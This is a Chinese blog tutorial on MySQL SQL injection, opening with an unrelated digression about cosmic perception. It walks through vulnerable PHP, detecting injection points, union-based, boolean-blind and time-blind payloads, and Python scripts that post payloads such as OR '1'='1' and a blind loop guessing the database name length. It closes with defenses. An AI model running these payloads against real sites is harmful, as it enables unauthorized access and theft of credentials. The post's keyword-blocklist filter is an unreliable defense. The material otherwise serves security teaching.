首页 > 数据库 >WEB 漏洞 - SQL 注入之 MySQL 注入深度解析

WEB 漏洞 - SQL 注入之 MySQL 注入深度解析

时间:2024-11-11 19:48:11浏览次数:7  
标签:语句 WEB 示例 MySQL SQL 盲注 注入

目录

WEB 漏洞 - SQL 注入之 MySQL 注入深度解析

一、从宇宙奇想到 SQL 注入

二、SQL 注入原理回顾

(一)基本概念

(二)以简单 PHP 代码示例说明

三、MySQL 注入步骤

(一)确定注入点

(二)判断注入类型

(三)利用注入获取信息或执行恶意操作

四、防御 MySQL 注入的方法

(一)使用参数化查询

(二)输入验证与过滤

(三)最小权限原则


在网络安全的奇妙世界里,我们就像在宇宙中探索未知一样,不断挖掘各种隐藏的奥秘。今天,我们要深入探讨 WEB 漏洞中 SQL 注入在 MySQL 环境下的相关内容。

一、从宇宙奇想到 SQL 注入

在开始技术讲解之前,我们先来聊聊一些有趣的宇宙遐想。就像我们在视频中提到的,宇宙中可能存在着各种超出我们想象的现象和生物。人类的感知是有限的,我们只能看到电磁波中的可见光,就像存在着其他智慧生物,它们可能就在我们身边,却因为我们无法感知而不被发现。这种感知的局限和未知,其实和 SQL 注入在某些方面有相似之处。SQL 注入往往隐藏在看似正常的代码和交互中,就像那些隐藏在黑暗中的宇宙奥秘一样,需要我们深入挖掘才能发现。

二、SQL 注入原理回顾

(一)基本概念

SQL 注入是一种恶意攻击技术,攻击者通过在输入字段中注入恶意的 SQL 语句,利用程序对用户输入数据验证不足或不当的漏洞,从而达到破坏数据库或获取敏感信息的目的。

(二)以简单 PHP 代码示例说明

以下是一个常见的 PHP 代码示例,展示了 SQL 注入可能出现的情况:

<?php
$id = $_REQUEST['id'];
$query = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) {
    // 展示数据逻辑
}
?>

在这个代码中,$id是从请求中获取的参数,并且直接拼接到了 SQL 查询语句中。正常情况下,它会按照预期查询数据库中的数据。但如果攻击者在id参数中注入恶意 SQL 语句,比如1 OR 1=1,那么查询语句就会变成SELECT * FROM users WHERE id = 1 OR 1=1 LIMIT 0,1,这可能导致查询出所有用户的数据,从而造成数据泄露。

三、MySQL 注入步骤

(一)确定注入点

  1. URL 参数分析
    仔细观察网页的 URL,查找那些接受用户输入作为参数的部分。例如,http://example.com/index.php?id=2018中的id参数就是一个可能的注入点。可以通过手动修改参数值,添加一些特殊字符(如单引号、双引号、分号等),观察网页的反应,看是否有报错信息或者异常行为。
  2. POST 数据检查
    对于通过 POST 方法提交数据的表单(如登录表单),可以使用工具(如 Burp Suite)来拦截和修改 POST 数据。尝试在用户名、密码等字段中注入恶意 SQL 语句,观察服务器的响应。以下是一个简单的 Python 代码示例,用于模拟通过 POST 方式发送包含恶意 SQL 语句的数据(仅作示例,实际应用中不应该进行非法攻击):

import requests

url = "http://example.com/login"
data = {
    "username": "admin",
    "password": "admin' OR '1'='1"
}
response = requests.post(url, data=data)
print(response.text)

(二)判断注入类型

  1. 基于回显的注入判断
    如果注入的 SQL 语句执行后,服务器将查询结果在页面中显示出来,那么就是基于回显的注入。可以通过构造简单的查询语句,如1' UNION SELECT 1,2,3 --(假设是在数字类型的字段注入,--用于注释掉后面的 SQL 语句),看页面是否有额外的数字显示。如果有,则可能是基于回显的注入。
  2. 盲注判断(布尔盲注和时间盲注)
    • 布尔盲注:当注入 SQL 语句后,页面不会直接显示查询结果,但可以通过页面的不同反应(如正常显示或报错)来推断 SQL 语句的执行情况。例如,可以构造条件判断语句1' AND (SELECT COUNT(*) FROM users) > 0 --(假设users表存在),如果页面正常显示,说明users表中的记录数大于 0。通过不断修改条件,可以逐步猜解数据库中的信息。
    • 时间盲注:利用数据库函数(如 MySQL 中的SLEEP()函数)来使数据库查询延迟执行。例如,构造语句1' AND IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), 0) --,如果页面响应时间明显延迟,说明users表中的记录数大于 0。通过这种方式,可以在没有回显内容的情况下获取数据库信息。

(三)利用注入获取信息或执行恶意操作

  1. 基于回显注入的信息获取
    如果是基于回显的注入,可以使用UNION操作符来联合查询其他表的信息。例如,1' UNION SELECT username, password, email FROM users --(假设users表有usernamepasswordemail字段),这样就可以获取用户的登录信息。
  2. 盲注的信息猜解
    对于盲注,无论是布尔盲注还是时间盲注,都需要编写脚本来自动化猜解数据库中的信息。以下是一个简单的 Python 示例脚本,用于布尔盲注猜解数据库名长度(仅作示例,实际应用中可能更复杂):

import requests

url = "http://example.com/vulnerable_page.php"
length = 0
for i in range(1, 100):  # 假设数据库名长度不超过 100
    payload = "1' AND (LENGTH(DATABASE()))={} --".format(i)
    data = {"id": payload}  # 假设注入点是 id 参数
    response = requests.post(url, data=data)
    if "正常页面内容" in response.text:  # 根据正常页面内容的标识来判断条件是否成立
        length = i
        break
print("数据库名长度:", length)

四、防御 MySQL 注入的方法

(一)使用参数化查询

在后端代码中,使用参数化查询是防止 SQL 注入的有效方法。以 Java 和 JDBC 为例,以下是一个安全的查询示例:

String sql = "SELECT * FROM users WHERE username =? AND password =?";
PreparedStatement statement = connection.prepareStatement(sql);
statement.setString(1, username);
statement.setString(2, password);
ResultSet resultSet = statement.executeQuery();

在这个代码中,?是参数占位符,通过setString等方法设置参数的值。这样,用户输入的值就不会被当作 SQL 语句的一部分进行解析,从而避免了 SQL 注入。

(二)输入验证与过滤

对用户输入的数据进行严格的验证和过滤。例如,对于数字类型的输入,只允许输入数字;对于字符串类型的输入,可以使用正则表达式等方法来检查是否包含恶意的 SQL 关键字或特殊字符。以下是一个简单的 Java 示例,用于过滤 SQL 注入相关的特殊字符:

public static boolean isSafe(String input) {
    String[] maliciousKeywords = {"SELECT", "INSERT", "UPDATE", "DELETE", "DROP", "UNION"};
    for (String keyword : maliciousKeywords) {
        if (input.toUpperCase().contains(keyword)) {
            return false;
        }
    }
    return true;
}

(三)最小权限原则

在数据库中,为应用程序使用的账户分配最小的权限。例如,只允许执行必要的查询操作,不赋予其创建表、删除表等危险操作的权限。这样,即使发生 SQL 注入,攻击者也无法对数据库造成太大的破坏。

希望通过以上对 MySQL 注入的详细讲解,包括从宇宙奇想到技术原理、步骤和防御方法,能让大家更好地理解和应对这种 WEB 漏洞,就像我们在探索宇宙奥秘一样,逐步揭开 SQL 注入的神秘面纱,保障我们的网络安全。同时,要注意所有的测试和学习都应该在合法合规的环境下进行,不要进行非法的攻击行为。

标签:语句,WEB,示例,MySQL,SQL,盲注,注入
From: https://blog.csdn.net/m0_57836225/article/details/143668345

相关文章

  • WEB 漏洞 - 文件上传之解析漏洞与编辑器安全
    目录WEB漏洞-文件上传之解析漏洞与编辑器安全一、漏洞概述二、原理分析三、实现步骤与代码示例一、漏洞概述在WEB应用中,文件上传功能是一个常见的模块,但它也存在着诸多安全隐患。文件上传的解析漏洞以及编辑器相关的安全问题就是其中重要的部分。解析漏洞是指......
  • libwebp在windows下构建及编译运行
    因为正在进行WEBP图像的学习,因此有必要对WEBP的官方实现——libwebp进行本地构建和编译,以方便对标准及代码的理解。下面记录一下,在本地Windows电脑上,构建并编译libwebp的过程。步骤一:下载源码首先,获取libwebp的最新源码:从官方Git仓库克隆:gitclonehttps://chromium......
  • PSQL 环境安装配置
    准备工作:安装包plsqldev1400x64.msi  注册码汉化包chinese.exe轻量级数据instantclient_11_2.zip  安装【PSQL】第一步大法操作!默认的安装路径:C:\ProgramFiles\PLSQLDeveloper14 安装【轻量级instantclient_11_2】复制或解压到 C:\ProgramFiles\PLS......
  • Idea调用WebService
    Idea调用WebService​WebService是一种基于网络的技术,它允许不同的应用程序在互联网上相互通信。要进行WebService对接,以下是一些关键步骤和注意事项:一、理解WebService的基本概念定义:WebService是一种基于标准化协议和格式的应用程序接口(API),它使用XML和HTTP来进行通信......
  • 使用ob_tools包收集分析oceanbase数据库oracle租户缓慢sql语句
    概述1、手册目的:本手册旨在提供一种系统化的方法论,以便发现和分析慢SQL语句。通过使用ob_tools包,收集和分析在交付期间,应用程序在不同场景下进行压测时所产生的慢SQL语句,从而实现性能调优和优化建议。2、文档内容:本手册包含以下几个主要部分:1.ob_tools包内存储过程和函数介......
  • [SUCTF 2019]EasySQL
    当输入数字时返回array结构,且任意非0数字都是返回1。当输入字符串时无任何回显。那么我们可以猜测sql语句中存在逻辑或符号||,因为任意非0在mysql中相当于true且返回值为1,而字符及字符串会被当作变量处理,或运算时会报错。那么绕过的方法是将mysql的sql_mode参数设置为PIPES_AS_CO......
  • PostgreSQL流复制主从监控和自动故障转移的轻量级实现
    如何实现PostgreSQL的高可用,之前研究过repmgr以及pg_auto_failover,起作用都是起到主节点故障时,实现“自动故障转移”的目的。但是repmgr以及pg_auto_failover得缺点是对数据库侵入过多,需要在监控的数据库内部进行一系列的配置操作,同时需要启动第三方服务实现节点的可用性监控,这又......
  • MySQL主从复制
    MySQL主从复制  概要  随着业务的增长,一台数据服务器已经满足不了需求了,负载过重。这个时候就需要减压了,实现负载均衡读写分离,一主一丛或一主多从。  主服务器只负责写,而从服务器只负责读,从而提高了效率减轻压力。  主从复制可以分为:  主从同步:当用户写数据......
  • swoole,websocket服务器(协程风格)--进阶篇
        swoole的websocket服务器(协程风格)示例真不算友善,从头了解到尾,那还好,但是谁有那么多时间从头到尾了解。示例不够针对性,写websocket就该单独写websocket的东西,偏偏又加上http的东西。这里我来解读一下websocket服务器(协程风格)示例<?php  useSwoole\Http\Reque......
  • web服务器Apache与Nginx的优缺点?
    Apache是一个开放源代码的Web服务器软件,它能够运行在几乎所有主流的操作系统上,包括Unix、Linux、Windows、MacOS等。ApacheHTTP服务器是世界上最流行的Web服务器之一,它由Apache软件基金会维护和支持。Apache提供了强大的功能,包括:可配置性:用户可以通过配置文件来......